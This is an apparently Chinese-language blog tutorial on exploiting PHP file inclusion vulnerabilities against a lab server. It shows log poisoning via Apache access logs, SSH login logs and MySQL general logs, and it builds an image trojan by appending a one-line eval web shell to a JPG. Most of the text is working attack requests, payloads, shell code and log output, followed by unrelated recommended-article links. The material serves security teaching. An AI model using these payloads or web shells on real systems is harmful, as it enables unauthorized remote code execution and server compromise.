文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

py 复制代码
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.

实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

py 复制代码
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

py 复制代码
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.

那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
py 复制代码
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
py 复制代码
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log

post data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
py 复制代码
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

py 复制代码
ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

py 复制代码
ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

py 复制代码
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

sh 复制代码
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

py 复制代码
/opt/lampp/logs/mysql.log

正常登录:

py 复制代码
mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

py 复制代码
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:

mm.php文件:

php 复制代码
<?php @eval($_GET['cmd']); ?>

命令:

py 复制代码
copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关推荐
吱吱鼠叔12 分钟前
MATLAB方程求解:1.线性方程组
开发语言·matlab·php
Messiah___1 小时前
【论文阅读】Slim Fly: A Cost Effective Low-Diameter Network Topology 一种经济高效的小直径网络拓扑
开发语言·php
项目題供诗4 小时前
尚品汇-秒杀商品存入缓存、Redis发布订阅实现状态位(五十一)
开发语言·php
蜗牛沐雨4 小时前
用 ReactPHP 实现图片上传加速:让并发上传实现真正的高效
php·reactphp
龙哥·三年风水16 小时前
活动系统开发之采用设计模式与非设计模式的区别-后台功能总结
设计模式·php·tinkphp6
白总Server18 小时前
MySQL在大数据场景应用
大数据·开发语言·数据库·后端·mysql·golang·php
yukai0800818 小时前
Python 全栈系列271 微服务踩坑记
python·微服务·php
向宇it20 小时前
一张图解析FastAdmin中的弹出窗口的功能(备份)
php·fastadmin
最美不过下雨天啊21 小时前
php curl发送get、post请求
php
极术社区1 天前
ResNeXt学习
开发语言·学习·计算机视觉·php